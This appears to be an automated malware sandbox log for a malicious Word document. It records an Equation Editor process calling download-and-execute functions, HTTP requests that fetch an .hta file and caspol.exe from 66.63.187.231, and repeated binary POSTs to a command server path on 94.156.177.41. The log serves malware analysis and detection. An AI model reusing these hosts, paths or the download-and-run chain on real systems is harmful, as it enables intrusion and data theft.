Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03540499 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_03540499

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{58CAB548-6A4A-4B2C-A9AB-CA9B4D0E64E5}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.231Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /33/caspol.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.231Connection: Keep-Alive

Source: unknown

HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 176Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:17 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:19 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:20 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:21 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:22 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:23 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:24 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:26 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:28 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:29 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:30 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:31 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:32 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:33 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:34 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:35 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:36 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:37 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:38 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:39 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:40 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:41 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:42 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:43 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:44 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:45 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:46 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:47 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:47 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:49 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:49 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:51 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:52 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:53 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:54 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:54 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:56 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:56 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:57 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:58 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:08:59 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:00 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:01 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:02 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:03 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:04 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:05 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:06 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:07 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
